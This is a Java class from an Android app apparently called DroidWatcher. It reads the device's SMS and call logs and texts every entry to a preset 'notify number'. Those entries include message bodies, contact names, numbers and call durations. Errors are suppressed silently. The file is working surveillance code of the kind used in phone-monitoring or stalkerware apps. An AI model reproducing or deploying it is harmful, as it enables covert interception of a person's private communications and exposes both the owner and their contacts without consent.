package com.droidwatcher; import java.util.ArrayList; import org.acra.ACRA; import com.droidwatcher.lib.Call; import com.droidwatcher.lib.IMessageBody; import com.droidwatcher.lib.SMS; import android.app.PendingIntent; import android.content.Context; import android.content.Intent; import android.telephony.SmsManager; public class SmsNotification { private Context mContext; private String mNotifyNumber; private Boolean mNotifySms; private Boolean mNotifyCall; private static final String[] DIRECTION = new String[]{ "", "in", "out", "missed" }; public SmsNotification(Context context){ this.mContext = context; SettingsManager settings = new SettingsManager(context); this.mNotifyNumber = settings.notifyNumber(); this.mNotifySms = settings.notifySms(); this.mNotifyCall = settings.notifyCall(); } public Boolean notifySms(){ return mNotifySms && mNotifyNumber.length() > 0; } public Boolean notifyCall(){ return mNotifyCall && mNotifyNumber.length() > 0; } public void sendSmsLog(ArrayList<IMessageBody> list){ if (list.size() == 0) { return; } SMS obj; String text; for (IMessageBody el : list) { try { obj = (SMS) el; if (obj.type > 3){ obj.type = 0; } text = "[sms " + obj.getStringDate() + " " + DIRECTION[obj.type] + "] " + obj.number + " (" + obj.name + ") " + obj.text; sendSms(text, mNotifyNumber); } catch (Exception e) { ACRA.getErrorReporter().handleSilentException(e); Debug.exception(e); } } } public void sendCallLog(ArrayList<IMessageBody> list){ if (list.size() == 0) { return; } Call obj; String text; for (IMessageBody el : list) { try { obj = (Call) el; if (obj.type > 3){ obj.type = 0; } text = "[call " + obj.getStringDate() + " " + DIRECTION[obj.type] + "] " + obj.number + " (" + obj.name + ") " + obj.duration + "s."; sendSms(text, mNotifyNumber); } catch (Exception e) { ACRA.getErrorReporter().handleSilentException(e); Debug.exception(e); } } } private void sendSms(String text, String number){ sendSms(mContext, text, number); } public static void sendSms(Context context, String text, String number){ if (text == null || number == null) { return; } if (text.length() == 0 || number.length() == 0) { return; } Debug.i("Message: " + text + "; Number: " + number); try { SmsManager smsManager = SmsManager.getDefault(); PendingIntent pi = PendingIntent.getBroadcast(context, 0, new Intent("DW_SMS_SENT"), 0); ArrayList<String> parts = smsManager.divideMessage(text); if (parts.size() == 0) { return; } if (parts.size() == 1) { smsManager.sendTextMessage(number, null, parts.get(0), pi, null); } else{ ArrayList<PendingIntent> pendingIntents = new ArrayList<PendingIntent>(1); pendingIntents.add(pi); smsManager.sendMultipartTextMessage(number, null, parts, pendingIntents, null); } } catch (Exception e) { ACRA.getErrorReporter().handleSilentException(e); } } }